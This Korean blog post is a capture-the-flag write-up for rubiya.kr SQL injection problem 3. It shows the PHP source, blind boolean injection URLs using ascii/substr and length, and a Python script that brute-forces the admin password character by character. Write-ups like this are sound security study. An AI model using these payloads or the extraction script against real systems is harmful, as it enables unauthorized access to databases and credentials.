webhacking/sql, sql injection

rubiya.kr 3번

qkqhxla1 2014. 8. 28. 13:55

http://rubiya.kr/sqli/prob3.php


<?php 
  
include "./dbconn.php"
  include 
"./solve.php"
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob3 where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello admin</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob3 where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve(); 
  
highlight_file(__FILE__); 
?>


이번엔 좀 다릅니다. GET방식으로 pw만 받네요. id는 고정으로 정해져있습니다.


코드를 해석해보면.. pw를 받아서 기본적인 필터링 후에 쿼리를 만들어서 출력하고,


id가 존재하면 Hello admin이라고 출력하고(id가 admin밖에 없나봐요), pw에서


addslashes함수로 '등을 전부 필터링 해서 제거한 후에 쿼리문을 다시 만들어서


돌렸을시 제대로된 admin의 pw와 GET방식으로 내가 보냈던 pw가 같으면


풀었다고 확인.


addslashes함수 이전코드는 단순히 쿼리가 옳으면 Hello admin이라고 출력하고,


addslashes이후에는 제대로 판별을 하는것으로 보아 addslashes이전 코드로 참 거짓을 판별해서


pw를 뽑아온 후에, 제대로 입력해서 문제를 풀어라. 블라인드 인젝션 같습니다.


(나중에 보니 prob3번에 마우스 올려놓으면 블라인드 인젝션 문제라고 나오네요.)


http://rubiya.kr/sqli/prob3.php?pw=g%27%20||%20ascii(substr(id,1,1))=97%20and%20%271%27=%271


query : select id from prob3 where id='admin' and pw='g' || ascii(substr(id,1,1))=97 and '1'='1'


id는 admin, pw=g거나 id에서 젤앞자리 한자리를 뽑아와서 아스키값 변환했을 경우 97이면서 1=1.


pw부분은 일부러 틀리게 했고, 중요한 부분은 ascii(substr(id,1,1))=97부분입니다(값을 뽑아오는 


부분) and '1'='1 부분은 마지막의 싱글쿼터를 없애기 위해서 추가했습니다.


저런식으로 id에서 한글자를 뽑아왔을때 admin의 첫글자인 a가 맞다고 Hello admin이 출력되는것으로 


보아 그냥 비밀번호를 뽑아오면 됩니다. 그 이전에 비밀번호가 몇자리인지 알아보기 위해서 length함수


로 확인 결과...


http://rubiya.kr/sqli/prob3.php?pw=g%27%20||%20length(pw)=8%20and%20%271%27=%271


query : select id from prob3 where id='admin' and pw='g' || length(pw)=8 and '1'='1'


처럼 입력 시 Hello admin이 나오는것으로 보아 8글자라는걸 알 수 있겠네요.


substr함수는 첫번째 글자 인덱스가 1이므로(0 아님) 8글자면 0~8사이의 포문이 아닌 1~9사이의 포문


을 돌려야 합니다.

import urllib,urllib2
# -*- coding: euc-kr -*-
answer = ''
for i in range(1,9):
    for j in range(32,127):
        print j
        req = urllib2.Request('http://rubiya.kr/sqli/prob3.php?pw=guest%27%20or%20ascii(substr(pw,'+str(i)+',1))='+str(j)+'%20and%20%20%271%27=%271') 
        res = urllib2.urlopen(req) 
        if res.read().find('Hello admin') != -1:
            print i,':',chr(j)
            answer += chr(j)
            break
print answer




'webhacking > sql, sql injection' 카테고리의 다른 글

rubiya.kr 5번.  (0) 2014.08.28
rubiya.kr 4번  (0) 2014.08.28
rubiya.kr 2번  (0) 2014.08.28
rubiya.kr 1번.  (0) 2014.08.28
시간 기반 sql 인젝션.  (0) 2014.08.22